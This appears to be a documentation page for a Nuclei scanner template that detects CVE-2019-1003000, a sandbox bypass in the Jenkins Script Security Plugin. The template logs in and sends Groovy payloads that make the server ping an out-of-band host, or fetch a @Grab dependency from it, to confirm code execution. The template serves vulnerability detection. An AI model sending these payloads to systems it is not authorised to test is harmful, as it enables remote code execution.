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Jenkins Script Security Plugin <=1.49 - Sandbox Bypass

ID: CVE-2019-1003000

Severity: high

Author: sttlr

Tags: cve,cve2019,jenkins,oast,bypass,sandbox-bypass,authenticated

Description

Section titled “Description”

A sandbox bypass vulnerability exists in the Jenkins Script Security Plugin (versions 1.49 and earlier) within src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java. This flaw allows attackers with permission to submit sandboxed scripts to execute arbitrary code on the Jenkins master JVM, potentially compromising the entire Jenkins environment.

YAML Source

Section titled “YAML Source”
id: CVE-2019-1003000


info:
  name: Jenkins Script Security Plugin <=1.49 - Sandbox Bypass
  author: sttlr
  severity: high
  description: |
    A sandbox bypass vulnerability exists in the Jenkins Script Security Plugin (versions 1.49 and earlier) within src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java. This flaw allows attackers with permission to submit sandboxed scripts to execute arbitrary code on the Jenkins master JVM, potentially compromising the entire Jenkins environment.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2019-1003000
    cpe: cpe:2.3:a:jenkins:script_security::::::jenkins::*
  reference:
    - https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266
    - http://www.rapid7.com/db/modules/exploit/multi/http/jenkins_metaprogramming
    - https://github.com/slowmistio/CVE-2019-1003000-and-CVE-2018-1999002-Pre-Auth-RCE-Jenkins
    - https://github.com/1NTheKut/CVE-2019-1003000_RCE-DETECTION
    - https://github.com/purple-WL/Jenkins_CVE-2019-1003000
    - https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
  metadata:
    verified: true
    max-request: 6
    vendor: jenkins
    product: script_security
  tags: cve,cve2019,jenkins,oast,bypass,sandbox-bypass,authenticated


variables:
  username: admin
  vendor_name: "{{rand_text_alpha(3)}}.{{rand_text_alpha(5)}}"
  app_name: "{{rand_text_alpha(8)}}"


flow: http(1) && http(2) && (http(3) || http(4))


http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        part: body
        words:
          - "jenkins"
        internal: true
        case-insensitive: true


  - raw:
      - |
        POST /j_acegi_security_check HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        j_username={{username}}&j_password={{password}}&from=%2F&Submit=Sign+in


      - |
        GET / HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'contains_all(tolower(body_2), "jenkins", "/logout")'
        internal: true


  - raw:
      - |
        GET /securityRealm/user/{{to_lower(username)}}/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20{{app_name}}{public%20{{app_name}}(){%22ping%20-c%202%20{{interactsh-url}}%22.execute()}} HTTP/1.1
        Host: {{Hostname}}


      - |
        GET /securityRealm/user/{{to_lower(username)}}/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20{{app_name}}{public%20{{app_name}}(){%22ping%20-n%202%20{{interactsh-url}}%22.execute()}} HTTP/1.1
        Host: {{Hostname}}


    stop-at-first-match: true
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"


  - raw:
      - |
        GET /securityRealm/user/{{to_lower(username)}}/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(%27http%3a%2f%2f{{interactsh-url}}%2f%27)%0a@Grab(%27{{vendor_name}}:{{app_name}}:1%27)%0aimport%20{{app_name}}; HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"


      - type: word
        part: interactsh_request
        words:
          - "/{{replace(vendor_name, '.', '/')}}/{{app_name}}/1/{{app_name}}-1.pom"
# digest: 4a0a00473045022100ba9cb9287816c41fcab815d63f60c018d53cfeceab37067725ef6272d6ec96ac022007dec33d8f023a27baa78b973ba1e52d4d54caf5be21df03bd1c406ae708f047:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-1003000.yaml"

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